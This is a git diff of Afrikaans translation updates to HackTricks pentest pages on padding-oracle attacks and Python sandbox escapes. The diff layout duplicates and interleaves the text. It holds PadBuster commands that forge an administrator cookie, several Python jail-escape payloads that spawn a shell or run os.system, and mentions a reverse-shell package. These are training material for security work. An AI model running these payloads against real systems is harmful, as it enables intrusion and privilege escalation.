* [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation)
|
* [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation)
|
||||||
|
|
||||||
|
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
|
@ -1,18 +1,22 @@
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Ondersteun HackTricks</summary>
|
<summary>Ondersteun HackTricks</summary>
|
||||||
|
|
||||||
* Controleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
|
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
|
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
|
||||||
# CBC - Cipher Block Chaining
|
# CBC - Cipher Block Chaining
|
||||||
|
|
||||||
|
@ -20,18 +24,18 @@ In CBC-modus word die **vorige versleutelde blok as IV** gebruik om met die volg
|
||||||
|
|
||||||
![https://defuse.ca/images/cbc\_encryption.png](https://defuse.ca/images/cbc\_encryption.png)
|
![https://defuse.ca/images/cbc\_encryption.png](https://defuse.ca/images/cbc\_encryption.png)
|
||||||
|
|
||||||
Om CBC te dekripteer word die **teenoorgestelde** **operasies** gedoen:
|
Om CBC te ontsleutel, word die **teenoorgestelde** **operasies** gedoen:
|
||||||
|
|
||||||
![https://defuse.ca/images/cbc\_decryption.png](https://defuse.ca/images/cbc\_decryption.png)
|
![https://defuse.ca/images/cbc\_decryption.png](https://defuse.ca/images/cbc\_decryption.png)
|
||||||
|
|
||||||
Let daarop dat dit nodig is om 'n **versleutelingsleutel** en 'n **IV** te gebruik.
|
Let op hoe dit nodig is om 'n **versleuteling** **sleutel** en 'n **IV** te gebruik.
|
||||||
|
|
||||||
# Boodskapvulling
|
# Boodskap Padding
|
||||||
|
|
||||||
Aangesien die versleuteling in **vaste** **grootte** **blokke** uitgevoer word, is **vulling** gewoonlik nodig in die **laaste** **blok** om sy lengte te voltooi.\
|
Aangesien die versleuteling in **vaste** **grootte** **blokkies** uitgevoer word, is **padding** gewoonlik nodig in die **laaste** **blok** om sy lengte te voltooi.\
|
||||||
Gewoonlik word **PKCS7** gebruik, wat 'n vulling genereer wat die **aantal** **benodigde** **bytes** om die blok te **voltooi**, **herhaal**. Byvoorbeeld, as die laaste blok 3 bytes kort is, sal die vulling `\x03\x03\x03` wees.
|
Gewoonlik word **PKCS7** gebruik, wat 'n padding genereer deur die **aantal** **bytes** **nodig** om die blok te **voltooi** te herhaal. Byvoorbeeld, as die laaste blok 3 bytes kort is, sal die padding `\x03\x03\x03` wees.
|
||||||
|
|
||||||
Kom ons kyk na meer voorbeelde met 'n **2 blokke van lengte 8 byte**:
|
Kom ons kyk na meer voorbeelde met **2 blokkies van 8bytes lengte**:
|
||||||
|
|
||||||
| byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 |
|
| byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 |
|
||||||
| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
|
| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
|
||||||
|
@ -40,17 +44,17 @@ Kom ons kyk na meer voorbeelde met 'n **2 blokke van lengte 8 byte**:
|
||||||
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
|
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
|
||||||
| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
|
| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
|
||||||
|
|
||||||
Let op hoe in die laaste voorbeeld die **laaste blok vol was, dus is nog een gegenereer net met vulling**.
|
Let op hoe in die laaste voorbeeld die **laaste blok vol was, so 'n ander een is net met padding gegenereer**.
|
||||||
|
|
||||||
# Vulling-orakel
|
# Padding Oracle
|
||||||
|
|
||||||
Wanneer 'n aansoek versleutelde data dekripteer, sal dit eers die data dekripteer; dan sal dit die vulling verwyder. Tydens die opruiming van die vulling, as 'n **ongeldige vulling 'n waarneembare gedrag veroorsaak**, het jy 'n **vulling-orakel kwesbaarheid**. Die waarneembare gedrag kan 'n **fout**, 'n **gebrek aan resultate**, of 'n **stadiger reaksie** wees.
|
Wanneer 'n toepassing versleutelde data ontsleutel, sal dit eers die data ontsleutel; dan sal dit die padding verwyder. Tydens die opruiming van die padding, as 'n **ongeldige padding 'n waarneembare gedrag veroorsaak**, het jy 'n **padding oracle kwesbaarheid**. Die waarneembare gedrag kan 'n **fout**, 'n **gebrek aan resultate**, of 'n **langsame reaksie** wees.
|
||||||
|
|
||||||
As jy hierdie gedrag opspoor, kan jy die **versleutelde data dekripteer** en selfs enige **klare teks versleutel**.
|
As jy hierdie gedrag waarneem, kan jy die **versleutelde data ontsleutel** en selfs **enige duidelike teks versleutel**.
|
||||||
|
|
||||||
## Hoe om te benut
|
## Hoe om te ontgin
|
||||||
|
|
||||||
Jy kan [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) gebruik om hierdie soort kwesbaarheid te benut of net die
|
Jy kan [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) gebruik om hierdie tipe kwesbaarheid te ontgin of net doen
|
||||||
```
|
```
|
||||||
sudo apt-get install padbuster
|
sudo apt-get install padbuster
|
||||||
```
|
```
|
||||||
|
@ -60,23 +64,23 @@ perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -e
|
||||||
```
|
```
|
||||||
**Kodering 0** beteken dat **base64** gebruik word (maar ander is beskikbaar, kyk na die hulpmenu).
|
**Kodering 0** beteken dat **base64** gebruik word (maar ander is beskikbaar, kyk na die hulpmenu).
|
||||||
|
|
||||||
Jy kan ook **misbruik maak van hierdie kwesbaarheid om nuwe data te enkripteer. Byvoorbeeld, stel jou voor dat die inhoud van die koekie is "**_**gebruiker=MynGebruikersnaam**_**", dan kan jy dit verander na "\_gebruiker=administrateur\_" en voorregte binne die aansoek verhoog. Jy kan dit ook doen deur `paduster` te gebruik en die -plaintext** parameter te spesifiseer:
|
Jy kan ook **misbruik maak van hierdie kwesbaarheid om nuwe data te enkripteer. Byvoorbeeld, stel jou voor dat die inhoud van die koekie is "**_**user=MyUsername**_**", dan kan jy dit verander na "\_user=administrator\_" en bevoegdhede binne die toepassing opgradeer. Jy kan dit ook doen met `paduster` deur die -plaintext** parameter te spesifiseer:
|
||||||
```bash
|
```bash
|
||||||
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
|
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
|
||||||
```
|
```
|
||||||
Indien die webwerf kwesbaar is, sal `padbuster` outomaties probeer om te vind wanneer die vullingsfout plaasvind, maar jy kan ook die foutboodskap aandui deur die **-error** parameter te gebruik.
|
As die webwerf kwesbaar is, sal `padbuster` outomaties probeer om te vind wanneer die padding fout voorkom, maar jy kan ook die foutboodskap aandui deur die **-error** parameter te gebruik.
|
||||||
```bash
|
```bash
|
||||||
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
|
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
|
||||||
```
|
```
|
||||||
## Die teorie
|
## Die teorie
|
||||||
|
|
||||||
In **opsomming**, kan jy begin om die versleutelde data te ontsluit deur te raai na die korrekte waardes wat gebruik kan word om al die **verskillende vullings** te skep. Dan sal die vullingsorakelaanval begin om bytes van die einde na die begin te ontsluit deur te raai watter die korrekte waarde sal wees wat **'n vulling van 1, 2, 3, ens. skep**.
|
In **samevatting**, jy kan begin om die versleutelde data te ontsleutel deur die korrekte waardes te raai wat gebruik kan word om al die **verskillende opvullings** te skep. Dan sal die padding oracle aanval begin om bytes van die einde na die begin te ontsleutel deur te raai wat die korrekte waarde sal wees wat **'n opvulling van 1, 2, 3, ens.** skep.
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (629) (1) (1).png>)
|
![](<../.gitbook/assets/image (629) (1) (1).png>)
|
||||||
|
|
||||||
Stel jou voor jy het 'n paar versleutelde teks wat **2 blokke** beslaan deur die bytes van **E0 tot E15**.\
|
Stel jou voor jy het 'n paar versleutelde teks wat **2 blokke** beslaan wat gevorm word deur die bytes van **E0 tot E15**.\
|
||||||
Om die **laaste blok** (**E8** tot **E15**) te **ontsleutel**, gaan die hele blok deur die "blok-sifer ontsleuteling" wat die **tussenganger bytes I0 tot I15** genereer.\
|
Om die **laaste** **blok** (**E8** tot **E15**) te **ontsleutel**, gaan die hele blok deur die "blok-kodering ontsleuteling" wat die **tussenliggende bytes I0 tot I15** genereer.\
|
||||||
Uiteindelik word elke tussenganger byte **XORed** met die vorige versleutelde bytes (E0 tot E7). So:
|
Laastens, elke tussenliggende byte word **XORed** met die vorige versleutelde bytes (E0 tot E7). So:
|
||||||
|
|
||||||
* `C15 = D(E15) ^ E7 = I15 ^ E7`
|
* `C15 = D(E15) ^ E7 = I15 ^ E7`
|
||||||
* `C14 = I14 ^ E6`
|
* `C14 = I14 ^ E6`
|
||||||
|
@ -84,43 +88,47 @@ Uiteindelik word elke tussenganger byte **XORed** met die vorige versleutelde by
|
||||||
* `C12 = I12 ^ E4`
|
* `C12 = I12 ^ E4`
|
||||||
* ...
|
* ...
|
||||||
|
|
||||||
Nou is dit moontlik om **`E7` te wysig tot `C15` `0x01` is**, wat ook 'n korrekte vulling sal wees. Dus, in hierdie geval: `\x01 = I15 ^ E'7`
|
Nou, dit is moontlik om **`E7` te wysig totdat `C15` `0x01` is**, wat ook 'n korrekte opvulling sal wees. So, in hierdie geval: `\x01 = I15 ^ E'7`
|
||||||
|
|
||||||
Dus, deur E'7 te vind, is dit **moontlik om I15 te bereken**: `I15 = 0x01 ^ E'7`
|
So, om E'7 te vind, is dit **moontlik om I15 te bereken**: `I15 = 0x01 ^ E'7`
|
||||||
|
|
||||||
Wat ons toelaat om **C15 te bereken**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
|
Wat ons toelaat om **C15 te bereken**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
|
||||||
|
|
||||||
Wetende **C15**, is dit nou moontlik om **C14 te bereken**, maar hierdie keer deur die vulling `\x02\x02` te brute-force.
|
As ons **C15** weet, is dit nou moontlik om **C14** te bereken, maar hierdie keer deur die opvulling `\x02\x02` te brute-force.
|
||||||
|
|
||||||
Hierdie BF is so kompleks soos die vorige een aangesien dit moontlik is om die `E''15` te bereken waarvan die waarde 0x02 is: `E''7 = \x02 ^ I15` dus dit is net nodig om die **`E'14`** te vind wat 'n **`C14` gelyk aan `0x02`** genereer.\
|
Hierdie BF is net so kompleks soos die vorige een, aangesien dit moontlik is om die `E''15` waarvan die waarde 0x02 is te bereken: `E''7 = \x02 ^ I15` so dit is net nodig om die **`E'14`** te vind wat 'n **`C14` genereer wat gelyk is aan `0x02`**.\
|
||||||
Doen dan dieselfde stappe om C14 te ontsluit: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
|
Dan, doen dieselfde stappe om C14 te ontsleutel: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
|
||||||
|
|
||||||
**Volg hierdie ketting totdat jy die hele versleutelde teks ontsluit.**
|
**Volg hierdie ketting totdat jy die hele versleutelde teks ontsleutel.**
|
||||||
|
|
||||||
## Opname van die kwesbaarheid
|
## Opsporing van die kwesbaarheid
|
||||||
|
|
||||||
Registreer 'n rekening en teken in met hierdie rekening.\
|
Registreer en skep 'n rekening en teken in met hierdie rekening.\
|
||||||
As jy **baie kere in teken** en altyd dieselfde koekie kry, is daar waarskynlik **iets fout** in die aansoek. Die terug gestuurde koekie moet elke keer uniek wees wanneer jy in teken. As die koekie **altyd** dieselfde is, sal dit waarskynlik altyd geldig wees en daar **sal geen manier wees om dit ongeldig te maak nie**.
|
As jy **baie keer aanmeld** en altyd die **dieselfde koekie** ontvang, is daar waarskynlik **iets** **verkeerd** in die toepassing. Die **koekie wat teruggestuur word, moet uniek wees** elke keer wat jy aanmeld. As die koekie **altyd** die **dieselfde** is, sal dit waarskynlik altyd geldig wees en daar **sal geen manier wees om dit te ongeldig te maak** nie.
|
||||||
|
|
||||||
Nou, as jy probeer om die koekie te **verander**, kan jy sien dat jy 'n **fout** van die aansoek kry.\
|
Nou, as jy probeer om die **koekie** te **wysig**, kan jy sien dat jy 'n **fout** van die toepassing ontvang.\
|
||||||
Maar as jy die vulling brute-force (deur byvoorbeeld padbuster te gebruik) kan jy 'n ander koekie kry wat geldig is vir 'n ander gebruiker. Hierdie scenario is hoogs waarskynlik kwesbaar vir padbuster.
|
Maar as jy die opvulling BF (met padbuster byvoorbeeld) kan jy 'n ander koekie kry wat geldig is vir 'n ander gebruiker. Hierdie scenario is hoogs waarskynlik kwesbaar vir padbuster.
|
||||||
|
|
||||||
## Verwysings
|
## Verwysings
|
||||||
|
|
||||||
* [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation)
|
* [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation)
|
||||||
|
|
||||||
|
|
||||||
|
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Leer & oefen AWS Hack:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Ondersteun HackTricks</summary>
|
<summary>Ondersteun HackTricks</summary>
|
||||||
|
|
||||||
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
|
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Deel haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -15,7 +15,17 @@ Leer & oefen GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" da
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Dit is 'n paar truuks om python sandbox beskermings te omseil en arbitrêre opdragte uit te voer.
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
||||||
|
|
||||||
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
||||||
|
|
||||||
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
Hierdie is 'n paar truuks om python sandbox beskermings te omseil en arbitrêre opdragte uit te voer.
|
||||||
|
|
||||||
## Opdrag Uitvoering Biblioteke
|
## Opdrag Uitvoering Biblioteke
|
||||||
|
|
||||||
|
@ -55,7 +65,7 @@ system('ls')
|
||||||
Onthou dat die _**open**_ en _**read**_ funksies nuttig kan wees om **lêers** binne die python sandbox te **lees** en om **kode** te **skryf** wat jy kan **uitvoer** om die sandbox te **omseil**.
|
Onthou dat die _**open**_ en _**read**_ funksies nuttig kan wees om **lêers** binne die python sandbox te **lees** en om **kode** te **skryf** wat jy kan **uitvoer** om die sandbox te **omseil**.
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
**Python2 input()** funksie laat toe om python kode uit te voer voordat die program ineenstort.
|
**Python2 input()** funksie laat toe dat python kode uitgevoer word voordat die program ineenstort.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Python probeer om **biblioteke van die huidige gids eerste te laai** (die volgende opdrag sal wys waar python modules laai): `python3 -c 'import sys; print(sys.path)'`
|
Python probeer om **biblioteke van die huidige gids eerste te laai** (die volgende opdrag sal wys waar python modules laai): `python3 -c 'import sys; print(sys.path)'`
|
||||||
|
@ -97,7 +107,7 @@ You can download the package to create the reverse shell here. Please, note that
|
||||||
{% file src="../../../.gitbook/assets/Reverse.tar (1).gz" %}
|
{% file src="../../../.gitbook/assets/Reverse.tar (1).gz" %}
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Hierdie pakket word `Reverse` genoem. Dit is egter spesiaal gemaak sodat wanneer jy die reverse shell verlaat, die res van die installasie sal misluk, sodat jy **nie enige ekstra python pakket op die bediener agterlaat** wanneer jy vertrek nie.
|
Hierdie pakket word `Reverse` genoem. Dit is egter spesiaal gemaak sodat wanneer jy die reverse shell verlaat, die res van die installasie sal misluk, so jy **sal nie enige ekstra python pakket op die bediener agterlaat** wanneer jy vertrek nie.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Eval-ing python code
|
## Eval-ing python code
|
||||||
|
@ -167,7 +177,7 @@ Dit is ook moontlik om dit te omseil met ander kodering, byvoorbeeld `raw_unicod
|
||||||
|
|
||||||
## Python-uitvoering sonder oproepe
|
## Python-uitvoering sonder oproepe
|
||||||
|
|
||||||
As jy binne 'n python-gevangenis is wat **nie toelaat dat jy oproepe maak nie**, is daar steeds 'n paar maniere om **arbitêre funksies, kode** en **opdragte** uit te voer.
|
As jy binne 'n python-jail is wat **nie toelaat dat jy oproepe maak nie**, is daar steeds 'n paar maniere om **arbitêre funksies, kode** en **opdragte** uit te voer.
|
||||||
|
|
||||||
### RCE met [decorators](https://docs.python.org/3/glossary.html#term-decorator)
|
### RCE met [decorators](https://docs.python.org/3/glossary.html#term-decorator)
|
||||||
```python
|
```python
|
||||||
|
@ -191,13 +201,13 @@ X = exec(X)
|
||||||
@'__import__("os").system("sh")'.format
|
@'__import__("os").system("sh")'.format
|
||||||
class _:pass
|
class _:pass
|
||||||
```
|
```
|
||||||
### RCE skep objekte en oorlaai
|
### RCE die skep van objekte en oorlaai
|
||||||
|
|
||||||
As jy 'n **klas kan verklaar** en 'n **objek van daardie klas kan skep**, kan jy **verskillende metodes skryf/oorlaai** wat **geaktiveer** kan word **sonder** om hulle direk aan te roep.
|
As jy 'n **klas kan verklaar** en 'n **objek van daardie klas kan skep**, kan jy **verskillende metodes skryf/oorlaai** wat **geaktiveer** kan word **sonder** om hulle direk aan te roep.
|
||||||
|
|
||||||
#### RCE met pasgemaakte klasse
|
#### RCE met pasgemaakte klasse
|
||||||
|
|
||||||
Jy kan sommige **klasmetodes** (_deur bestaande klasmetodes te oorlaai of 'n nuwe klas te skep_) aanpas om hulle **arbitraire kode** te laat **uitvoer** wanneer hulle **geaktiveer** word sonder om hulle direk aan te roep.
|
Jy kan sommige **klasmetodes** (_deur bestaande klasmetodes te oorlaai of 'n nuwe klas te skep_) wysig om hulle **arbitraire kode** te laat **uitvoer** wanneer hulle **geaktiveer** word sonder om hulle direk aan te roep.
|
||||||
```python
|
```python
|
||||||
# This class has 3 different ways to trigger RCE without directly calling any function
|
# This class has 3 different ways to trigger RCE without directly calling any function
|
||||||
class RCE:
|
class RCE:
|
||||||
|
@ -322,7 +332,7 @@ pass
|
||||||
* [**Builtins funksies van python2**](https://docs.python.org/2/library/functions.html)
|
* [**Builtins funksies van python2**](https://docs.python.org/2/library/functions.html)
|
||||||
* [**Builtins funksies van python3**](https://docs.python.org/3/library/functions.html)
|
* [**Builtins funksies van python3**](https://docs.python.org/3/library/functions.html)
|
||||||
|
|
||||||
As jy toegang kan kry tot die **`__builtins__`** objek kan jy biblioteke invoer (let op dat jy ook hier 'n ander string voorstelling kan gebruik wat in die laaste afdeling gewys is):
|
As jy toegang kan kry tot die **`__builtins__`** objek kan jy biblioteke invoer (let op dat jy ook hier 'n ander string voorstelling kan gebruik soos in die laaste afdeling gewys):
|
||||||
```python
|
```python
|
||||||
__builtins__.__import__("os").system("ls")
|
__builtins__.__import__("os").system("ls")
|
||||||
__builtins__.__dict__['__import__']("os").system("ls")
|
__builtins__.__dict__['__import__']("os").system("ls")
|
||||||
|
@ -330,9 +340,9 @@ __builtins__.__dict__['__import__']("os").system("ls")
|
||||||
### Geen Builtins
|
### Geen Builtins
|
||||||
|
|
||||||
Wanneer jy nie `__builtins__` het nie, gaan jy nie in staat wees om enigiets te importeer of selfs lêers te lees of te skryf nie, aangesien **alle globale funksies** (soos `open`, `import`, `print`...) **nie gelaai is nie**.\
|
Wanneer jy nie `__builtins__` het nie, gaan jy nie in staat wees om enigiets te importeer of selfs lêers te lees of te skryf nie, aangesien **alle globale funksies** (soos `open`, `import`, `print`...) **nie gelaai is nie**.\
|
||||||
E however, **standaard importeer python 'n groot aantal modules in geheue**. Hierdie modules mag onskuldig voorkom, maar sommige van hulle **importeer ook gevaarlike** funksionaliteite binne hulle wat toegang verkry kan word om selfs **arbitraire kode-uitvoering** te verkry.
|
E however, **standaard importeer python 'n baie modules in geheue**. Hierdie modules mag onskuldig voorkom, maar sommige van hulle **importeer ook gevaarlike** funksionaliteite binne hulle wat toegang verkry kan word om selfs **arbitraire kode-uitvoering** te verkry.
|
||||||
|
|
||||||
In die volgende voorbeelde kan jy sien hoe om **misbruik te maak** van sommige van hierdie "**onskuldige**" modules wat gelaai is om **toegang** te verkry tot **gevaarlike** **funksies** binne hulle.
|
In die volgende voorbeelde kan jy sien hoe om **misbruik te maak** van sommige van hierdie "**onskuldige**" modules wat gelaai is om **toegang** te verkry tot **gevaarlike** **funksionaliteite** binne hulle.
|
||||||
|
|
||||||
**Python2**
|
**Python2**
|
||||||
```python
|
```python
|
||||||
|
@ -374,7 +384,7 @@ get_flag.__globals__['__builtins__']
|
||||||
# Get builtins from loaded classes
|
# Get builtins from loaded classes
|
||||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
|
||||||
```
|
```
|
||||||
[**Hieronder is daar 'n groter funksie**](./#recursive-search-of-builtins-globals) om tientalle/**honderde** **plekke** te vind waar jy die **builtins** kan vind.
|
[**Hieronder is 'n groter funksie**](./#recursive-search-of-builtins-globals) om tientalle/**honderde** **plekke** te vind waar jy die **builtins** kan vind.
|
||||||
|
|
||||||
#### Python2 en Python3
|
#### Python2 en Python3
|
||||||
```python
|
```python
|
||||||
|
@ -416,9 +426,9 @@ class_obj.__init__.__globals__
|
||||||
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
|
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
|
||||||
